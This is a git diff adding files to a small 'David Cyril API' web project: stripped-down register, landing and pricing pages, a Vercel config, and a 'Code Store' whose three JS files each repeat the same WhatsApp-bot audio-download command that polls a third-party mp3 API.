+ + \ No newline at end of file diff --git a/public/html/register.html.bak b/public/html/register.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..12f812af8fb9f5eb4281e187ecbe4dc23ef21fe5 --- /dev/null +++ b/public/html/register.html.bak @@ -0,0 +1,33 @@ + + + + + + Register + + + +
+

Register

+ +
+ <% if (req.query.error) { %> +

<%= req.query.error %>

+ <% } %> + <% if (req.query.success) { %> +

<%= req.query.success %>

+ <% } %> +
+
+ + + + + + + +
+

Already have an account? Login

+
+ + \ No newline at end of file diff --git a/public/index.html b/public/index.html new file mode 100644 index 0000000000000000000000000000000000000000..f59baef3e288ccff966e80e047f8f29fbc7b596b --- /dev/null +++ b/public/index.html @@ -0,0 +1,6 @@ + \ No newline at end of file diff --git a/public/index.html.bak b/public/index.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..15bb16013aa4dafa9e49b4dc1df7baf6d2f4832f --- /dev/null +++ b/public/index.html.bak @@ -0,0 +1,242 @@ + + + + + + + + DAVID CYRIL API + + + + +
+ +
+
+
+ +
+

+ WELCOME TO DAVID CYRIL API +

+ +
+
+

Total Requests

+

Loading...

+
+
+

RAM Usage

+

Loading...

+
+
+ + +
+ +
+ + + + +
+
+
+
+
+

Server Runtime

+

Loading...

+
+
+
+
+ +
+ +
+ +
+ © 2024 - 2099 David Cyril Tech. All rights reserved. +
+
+ + + + \ No newline at end of file diff --git a/public/pricing/index.html b/public/pricing/index.html new file mode 100644 index 0000000000000000000000000000000000000000..0c8e2d37b1731da07a68bce759b971037e0fce1b --- /dev/null +++ b/public/pricing/index.html @@ -0,0 +1,115 @@ + + + + + + + + David Cyril Api Pricing + + + + + +
+
+ +

PRICING

+
+
+

Free Plan

+

Price: ₦0.00/Month

+
    +
  • Access to basic API features
  • +
  • Limit 500
  • +
+ Purchase Now +
+
+

Basic Plan

+

Price: ₦2,000/Month

+
    +
  • Access to Premium API features
  • +
  • Limit 6,000
  • +
  • Custom API key name
  • +
+ Purchase Now +
+
+

Pro Plan

+

Price: ₦5,000/Month

+
    +
  • Access to VIP API features
  • +
  • Limit 14,000
  • +
  • Custom API key name
  • +
+ Purchase Now +
+
+

VIP Plan

+

Price: ₦8,000/Month

+
    +
  • Access to VIP API features
  • +
  • Limit 18,000
  • +
  • Custom API key name
  • +
+ Purchase Now +
+
+

Super Plan

+

Price: ₦12,000/Month

+
    +
  • Access to VIP API features
  • +
  • Limit 30,000
  • +
  • Custom API key name
  • +
+ Purchase Now +
+
+

Enterprise Plan

+

Price: ₦25,000/∞

+

    +
  • Access to all API features
  • +
  • Unlimited limit
  • +
  • Custom API key name
  • +
+ Purchase Now +
+
+
+ + + + + + \ No newline at end of file diff --git a/public/pricing/index.html.bak b/public/pricing/index.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..05a33ed8c5049af916b9c1e5bcb387c86ac0e7a0 --- /dev/null +++ b/public/pricing/index.html.bak @@ -0,0 +1,115 @@ + + + + + + + + David Cyril Api Pricing + + + + + +
+
+ +

PRICING

+
+
+

Free Plan

+

Price: ₦0.00/Month

+
    +
  • Access to basic API features
  • +
  • Limit 500
  • +
+ Purchase Now +
+
+

Basic Plan

+

Price: ₦2,000/Month

+
    +
  • Access to Premium API features
  • +
  • Limit 6,000
  • +
  • Custom API key name
  • +
+ Purchase Now +
+
+

Pro Plan

+

Price: ₦5,000/Month

+
    +
  • Access to VIP API features
  • +
  • Limit 14,000
  • +
  • Custom API key name
  • +
+ Purchase Now +
+
+

VIP Plan

+

Price: ₦8,000/Month

+
    +
  • Access to VIP API features
  • +
  • Limit 18,000
  • +
  • Custom API key name
  • +
+ Purchase Now +
+
+

Super Plan

+

Price: ₦12,000/Month

+
    +
  • Access to VIP API features
  • +
  • Limit 30,000
  • +
  • Custom API key name
  • +
+ Purchase Now +
+
+

Enterprise Plan

+

Price: ₦50,000/∞

+

    +
  • Access to all API features
  • +
  • Unlimited limit
  • +
  • Custom API key name
  • +
+ Purchase Now +
+
+
+ + + + + + \ No newline at end of file diff --git a/public/public-index.html b/public/public-index.html new file mode 100644 index 0000000000000000000000000000000000000000..fc4450309f2e4d1fbdcebc4effdb8957c9e7e46b --- /dev/null +++ b/public/public-index.html @@ -0,0 +1,240 @@ + + + + + + DAVID CYRIL API + + + + +
+ +
+
+
+ +
+

+ WELCOME TO DAVID CYRIL API +

+ +
+
+

Total Requests

+

Loading...

+
+
+

RAM Usage

+

Loading...

+
+
+ + +
+ +
+ + + + +
+
+
+
+
+

Server Runtime

+

Loading...

+
+
+
+
+ +
+ +
+ +
+ © 2024 - 2099 David Cyril Tech. All rights reserved. +
+
+ + + + \ No newline at end of file diff --git a/public/store/codes/code1.js b/public/store/codes/code1.js new file mode 100644 index 0000000000000000000000000000000000000000..e2452d33b7b47ab12b5dafd8009a2c6ab31d52d3 --- /dev/null +++ b/public/store/codes/code1.js @@ -0,0 +1,44 @@ + +// Audio Download Command +case 'audio2': { + if (!m.quoted) return reply('Please reply to the song search result to download the audio.'); + await David.sendMessage(m?.chat, {react: {text: `🎧`, key: m?.key}}); + + let url = global.db.data.users[m.sender].lastSearchUrl || m.quoted?.text.match(/https?:\/\/[^\s]+/g)?.[0]; + if (!url) return reply('No song URL found. Please use the *song* command first.'); + + try { + let apiUrl = `https://api-lenwy.vercel.app/mp3?url=${encodeURIComponent(url)}`; + let result; + let maxAttempts = 10; // Maximum attempts (10 * 15s = 150s max wait time) + let attempt = 0; + + while (attempt < maxAttempts) { + result = await (await fetch(apiUrl)).json(); + + // Check if download_url is available and not "Converting" + if (result.status === 200 && result.data.download_url !== "Converting") { + let audioUrl = result.data.download_url; + let title = result.data.title; + let body = `*Audio Download*\n> Title: ${title}\n> Type: ${result.data.type}`; + + // Send the audio to the user + await David.sendMessage(m.chat, { audio: { url: audioUrl }, mimetype: 'audio/mp4', caption: body }, { quoted: m }); + break; + } + + // Increment attempt and wait for 15 seconds before retrying + attempt++; + await new Promise(resolve => setTimeout(resolve, 15000)); + } + + // If no valid download URL after max attempts, send an error message + if (attempt === maxAttempts) { + reply('Error! Could not retrieve audio URL after multiple attempts. Please try again later.'); + } + + } catch (error) { + reply('Error fetching audio. Please try again.'); + } +} +break; \ No newline at end of file diff --git a/public/store/codes/code2.js b/public/store/codes/code2.js new file mode 100644 index 0000000000000000000000000000000000000000..8b5316eb0d6ce9133c2781c3c8d9b4b6b43266f5 --- /dev/null +++ b/public/store/codes/code2.js @@ -0,0 +1,87 @@ + +// Audio Download Command +case 'audio2': { + if (!m.quoted) return reply('Please reply to the song search result to download the audio.'); + await David.sendMessage(m?.chat, {react: {text: `🎧`, key: m?.key}}); + + let url = global.db.data.users[m.sender].lastSearchUrl || m.quoted?.text.match(/https?:\/\/[^\s]+/g)?.[0]; + if (!url) return reply('No song URL found. Please use the *song* command first.'); + + try { + let apiUrl = `https://api-lenwy.vercel.app/mp3?url=${encodeURIComponent(url)}`; + let result; + let maxAttempts = 10; // Maximum attempts (10 * 15s = 150s max wait time) + let attempt = 0; + + while (attempt < maxAttempts) { + result = await (await fetch(apiUrl)).json(); + + // Check if download_url is available and not "Converting" + if (result.status === 200 && result.data.download_url !== "Converting") { + let audioUrl = result.data.download_url; + let title = result.data.title; + let body = `*Audio Download*\n> Title: ${title}\n> Type: ${result.data.type}`; + + // Send the audio to the user + await David.sendMessage(m.chat, { audio: { url: audioUrl }, mimetype: 'audio/mp4', caption: body }, { quoted: m }); + break; + } + + // Increment attempt and wait for 15 seconds before retrying + attempt++; + await new Promise(resolve => setTimeout(resolve, 15000)); + } + + // If no valid download URL after max attempts, send an error message + if (attempt === maxAttempts) { + reply('Error! Could not retrieve audio URL after multiple attempts. Please try again later.'); + } + + } catch (error) { + reply('Error fetching audio. Please try again.'); + } +} +break; +// Audio Download Command +case 'audio2': { + if (!m.quoted) return reply('Please reply to the song search result to download the audio.'); + await David.sendMessage(m?.chat, {react: {text: `🎧`, key: m?.key}}); + + let url = global.db.data.users[m.sender].lastSearchUrl || m.quoted?.text.match(/https?:\/\/[^\s]+/g)?.[0]; + if (!url) return reply('No song URL found. Please use the *song* command first.'); + + try { + let apiUrl = `https://api-lenwy.vercel.app/mp3?url=${encodeURIComponent(url)}`; + let result; + let maxAttempts = 10; // Maximum attempts (10 * 15s = 150s max wait time) + let attempt = 0; + + while (attempt < maxAttempts) { + result = await (await fetch(apiUrl)).json(); + + // Check if download_url is available and not "Converting" + if (result.status === 200 && result.data.download_url !== "Converting") { + let audioUrl = result.data.download_url; + let title = result.data.title; + let body = `*Audio Download*\n> Title: ${title}\n> Type: ${result.data.type}`; + + // Send the audio to the user + await David.sendMessage(m.chat, { audio: { url: audioUrl }, mimetype: 'audio/mp4', caption: body }, { quoted: m }); + break; + } + + // Increment attempt and wait for 15 seconds before retrying + attempt++; + await new Promise(resolve => setTimeout(resolve, 15000)); + } + + // If no valid download URL after max attempts, send an error message + if (attempt === maxAttempts) { + reply('Error! Could not retrieve audio URL after multiple attempts. Please try again later.'); + } + + } catch (error) { + reply('Error fetching audio. Please try again.'); + } +} +break; \ No newline at end of file diff --git a/public/store/codes/code3.js b/public/store/codes/code3.js new file mode 100644 index 0000000000000000000000000000000000000000..79e1c89ddc1b090d4c105431e7dc4f12965b5114 --- /dev/null +++ b/public/store/codes/code3.js @@ -0,0 +1,259 @@ + +// Audio Download Command +case 'audio2': { + if (!m.quoted) return reply('Please reply to the song search result to download the audio.'); + await David.sendMessage(m?.chat, {react: {text: `🎧`, key: m?.key}}); + + let url = global.db.data.users[m.sender].lastSearchUrl || m.quoted?.text.match(/https?:\/\/[^\s]+/g)?.[0]; + if (!url) return reply('No song URL found. Please use the *song* command first.'); + + try { + let apiUrl = `https://api-lenwy.vercel.app/mp3?url=${encodeURIComponent(url)}`; + let result; + let maxAttempts = 10; // Maximum attempts (10 * 15s = 150s max wait time) + let attempt = 0; + + while (attempt < maxAttempts) { + result = await (await fetch(apiUrl)).json(); + + // Check if download_url is available and not "Converting" + if (result.status === 200 && result.data.download_url !== "Converting") { + let audioUrl = result.data.download_url; + let title = result.data.title; + let body = `*Audio Download*\n> Title: ${title}\n> Type: ${result.data.type}`; + + // Send the audio to the user + await David.sendMessage(m.chat, { audio: { url: audioUrl }, mimetype: 'audio/mp4', caption: body }, { quoted: m }); + break; + } + + // Increment attempt and wait for 15 seconds before retrying + attempt++; + await new Promise(resolve => setTimeout(resolve, 15000)); + } + + // If no valid download URL after max attempts, send an error message + if (attempt === maxAttempts) { + reply('Error! Could not retrieve audio URL after multiple attempts. Please try again later.'); + } + + } catch (error) { + reply('Error fetching audio. Please try again.'); + } +} +break; +// Audio Download Command +case 'audio2': { + if (!m.quoted) return reply('Please reply to the song search result to download the audio.'); + await David.sendMessage(m?.chat, {react: {text: `🎧`, key: m?.key}}); + + let url = global.db.data.users[m.sender].lastSearchUrl || m.quoted?.text.match(/https?:\/\/[^\s]+/g)?.[0]; + if (!url) return reply('No song URL found. Please use the *song* command first.'); + + try { + let apiUrl = `https://api-lenwy.vercel.app/mp3?url=${encodeURIComponent(url)}`; + let result; + let maxAttempts = 10; // Maximum attempts (10 * 15s = 150s max wait time) + let attempt = 0; + + while (attempt < maxAttempts) { + result = await (await fetch(apiUrl)).json(); + + // Check if download_url is available and not "Converting" + if (result.status === 200 && result.data.download_url !== "Converting") { + let audioUrl = result.data.download_url; + let title = result.data.title; + let body = `*Audio Download*\n> Title: ${title}\n> Type: ${result.data.type}`; + + // Send the audio to the user + await David.sendMessage(m.chat, { audio: { url: audioUrl }, mimetype: 'audio/mp4', caption: body }, { quoted: m }); + break; + } + + // Increment attempt and wait for 15 seconds before retrying + attempt++; + await new Promise(resolve => setTimeout(resolve, 15000)); + } + + // If no valid download URL after max attempts, send an error message + if (attempt === maxAttempts) { + reply('Error! Could not retrieve audio URL after multiple attempts. Please try again later.'); + } + + } catch (error) { + reply('Error fetching audio. Please try again.'); + } +} +break; +// Audio Download Command +case 'audio2': { + if (!m.quoted) return reply('Please reply to the song search result to download the audio.'); + await David.sendMessage(m?.chat, {react: {text: `🎧`, key: m?.key}}); + + let url = global.db.data.users[m.sender].lastSearchUrl || m.quoted?.text.match(/https?:\/\/[^\s]+/g)?.[0]; + if (!url) return reply('No song URL found. Please use the *song* command first.'); + + try { + let apiUrl = `https://api-lenwy.vercel.app/mp3?url=${encodeURIComponent(url)}`; + let result; + let maxAttempts = 10; // Maximum attempts (10 * 15s = 150s max wait time) + let attempt = 0; + + while (attempt < maxAttempts) { + result = await (await fetch(apiUrl)).json(); + + // Check if download_url is available and not "Converting" + if (result.status === 200 && result.data.download_url !== "Converting") { + let audioUrl = result.data.download_url; + let title = result.data.title; + let body = `*Audio Download*\n> Title: ${title}\n> Type: ${result.data.type}`; + + // Send the audio to the user + await David.sendMessage(m.chat, { audio: { url: audioUrl }, mimetype: 'audio/mp4', caption: body }, { quoted: m }); + break; + } + + // Increment attempt and wait for 15 seconds before retrying + attempt++; + await new Promise(resolve => setTimeout(resolve, 15000)); + } + + // If no valid download URL after max attempts, send an error message + if (attempt === maxAttempts) { + reply('Error! Could not retrieve audio URL after multiple attempts. Please try again later.'); + } + + } catch (error) { + reply('Error fetching audio. Please try again.'); + } +} +break; +// Audio Download Command +case 'audio2': { + if (!m.quoted) return reply('Please reply to the song search result to download the audio.'); + await David.sendMessage(m?.chat, {react: {text: `🎧`, key: m?.key}}); + + let url = global.db.data.users[m.sender].lastSearchUrl || m.quoted?.text.match(/https?:\/\/[^\s]+/g)?.[0]; + if (!url) return reply('No song URL found. Please use the *song* command first.'); + + try { + let apiUrl = `https://api-lenwy.vercel.app/mp3?url=${encodeURIComponent(url)}`; + let result; + let maxAttempts = 10; // Maximum attempts (10 * 15s = 150s max wait time) + let attempt = 0; + + while (attempt < maxAttempts) { + result = await (await fetch(apiUrl)).json(); + + // Check if download_url is available and not "Converting" + if (result.status === 200 && result.data.download_url !== "Converting") { + let audioUrl = result.data.download_url; + let title = result.data.title; + let body = `*Audio Download*\n> Title: ${title}\n> Type: ${result.data.type}`; + + // Send the audio to the user + await David.sendMessage(m.chat, { audio: { url: audioUrl }, mimetype: 'audio/mp4', caption: body }, { quoted: m }); + break; + } + + // Increment attempt and wait for 15 seconds before retrying + attempt++; + await new Promise(resolve => setTimeout(resolve, 15000)); + } + + // If no valid download URL after max attempts, send an error message + if (attempt === maxAttempts) { + reply('Error! Could not retrieve audio URL after multiple attempts. Please try again later.'); + } + + } catch (error) { + reply('Error fetching audio. Please try again.'); + } +} +break; +// Audio Download Command +case 'audio2': { + if (!m.quoted) return reply('Please reply to the song search result to download the audio.'); + await David.sendMessage(m?.chat, {react: {text: `🎧`, key: m?.key}}); + + let url = global.db.data.users[m.sender].lastSearchUrl || m.quoted?.text.match(/https?:\/\/[^\s]+/g)?.[0]; + if (!url) return reply('No song URL found. Please use the *song* command first.'); + + try { + let apiUrl = `https://api-lenwy.vercel.app/mp3?url=${encodeURIComponent(url)}`; + let result; + let maxAttempts = 10; // Maximum attempts (10 * 15s = 150s max wait time) + let attempt = 0; + + while (attempt < maxAttempts) { + result = await (await fetch(apiUrl)).json(); + + // Check if download_url is available and not "Converting" + if (result.status === 200 && result.data.download_url !== "Converting") { + let audioUrl = result.data.download_url; + let title = result.data.title; + let body = `*Audio Download*\n> Title: ${title}\n> Type: ${result.data.type}`; + + // Send the audio to the user + await David.sendMessage(m.chat, { audio: { url: audioUrl }, mimetype: 'audio/mp4', caption: body }, { quoted: m }); + break; + } + + // Increment attempt and wait for 15 seconds before retrying + attempt++; + await new Promise(resolve => setTimeout(resolve, 15000)); + } + + // If no valid download URL after max attempts, send an error message + if (attempt === maxAttempts) { + reply('Error! Could not retrieve audio URL after multiple attempts. Please try again later.'); + } + + } catch (error) { + reply('Error fetching audio. Please try again.'); + } +} +break; +// Audio Download Command +case 'audio2': { + if (!m.quoted) return reply('Please reply to the song search result to download the audio.'); + await David.sendMessage(m?.chat, {react: {text: `🎧`, key: m?.key}}); + + let url = global.db.data.users[m.sender].lastSearchUrl || m.quoted?.text.match(/https?:\/\/[^\s]+/g)?.[0]; + if (!url) return reply('No song URL found. Please use the *song* command first.'); + + try { + let apiUrl = `https://api-lenwy.vercel.app/mp3?url=${encodeURIComponent(url)}`; + let result; + let maxAttempts = 10; // Maximum attempts (10 * 15s = 150s max wait time) + let attempt = 0; + + while (attempt < maxAttempts) { + result = await (await fetch(apiUrl)).json(); + + // Check if download_url is available and not "Converting" + if (result.status === 200 && result.data.download_url !== "Converting") { + let audioUrl = result.data.download_url; + let title = result.data.title; + let body = `*Audio Download*\n> Title: ${title}\n> Type: ${result.data.type}`; + + // Send the audio to the user + await David.sendMessage(m.chat, { audio: { url: audioUrl }, mimetype: 'audio/mp4', caption: body }, { quoted: m }); + break; + } + + // Increment attempt and wait for 15 seconds before retrying + attempt++; + await new Promise(resolve => setTimeout(resolve, 15000)); + } + + // If no valid download URL after max attempts, send an error message + if (attempt === maxAttempts) { + reply('Error! Could not retrieve audio URL after multiple attempts. Please try again later.'); + } + + } catch (error) { + reply('Error fetching audio. Please try again.'); + } +} +break; \ No newline at end of file diff --git a/public/store/index.html b/public/store/index.html new file mode 100644 index 0000000000000000000000000000000000000000..7e3a1beb9171f584921a5655ebada90d7cf55300 --- /dev/null +++ b/public/store/index.html @@ -0,0 +1,142 @@ + + + + + + Code Store + + + +
+

Available Codes

+
+ +
+

Code 1: JavaScript Animation

+ +
+
+

Code 2: Form Validation

+ +
+
+

Code 3: Custom Dropdown

+ +
+
+
+
© 2025 Code Store
+
+ + + + \ No newline at end of file diff --git a/public/store/index.html.bak b/public/store/index.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..5715492d5f5468d95f6d356d644d5e6ba850c224 --- /dev/null +++ b/public/store/index.html.bak @@ -0,0 +1,129 @@ + + + + + + Code Store + + + +
+

Available Codes

+
+ +
+

Code 1: JavaScript Animation

+ +
+
+

Code 2: Form Validation

+ +
+
+

Code 3: Custom Dropdown

+ +
+
+
© 2025 Code Store
+
+ + + + \ No newline at end of file diff --git a/temp/hdj b/temp/hdj new file mode 100644 index 0000000000000000000000000000000000000000..8b137891791fe96927ad78e64b0aad7bded08bdc --- /dev/null +++ b/temp/hdj @@ -0,0 +1 @@ + diff --git a/vercel.json b/vercel.json new file mode 100644 index 0000000000000000000000000000000000000000..526ba906c0d4225d78298019a3916e12c2b9f513 --- /dev/null +++ b/vercel.json @@ -0,0 +1,15 @@ +{ + "version": 2, + "builds": [ + { + "src": "/index.js", + "use": "@vercel/node" + } + ], + "routes": [ + { + "src": "/(.*)", + "dest": "/" + } + ] +} \ No newline at end of file